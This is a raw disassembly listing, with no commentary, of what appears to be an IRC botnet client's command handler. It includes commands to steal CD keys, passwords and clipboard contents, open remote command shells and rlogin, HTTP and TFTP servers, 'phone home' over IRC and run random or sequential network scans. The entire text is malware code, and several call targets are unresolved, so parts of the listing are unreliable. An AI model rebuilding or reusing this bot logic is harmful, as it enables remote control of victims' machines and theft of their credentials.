		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1C4
		push	offset dword_42C1B8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1B4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C16C
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C138
		push	eax
		mov	dword_4CE728, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C090
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C020
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset unk_42BFE4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_4315EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4315EA
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431408


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		call	near ptr 2660D84h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BEE8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEB0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BE90
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2650000h


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42BE20
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2660000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42BDA8


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D128


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42BD30
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAE90
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD0C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BCE0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCB4


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BC90
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC64
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC4C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC30
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
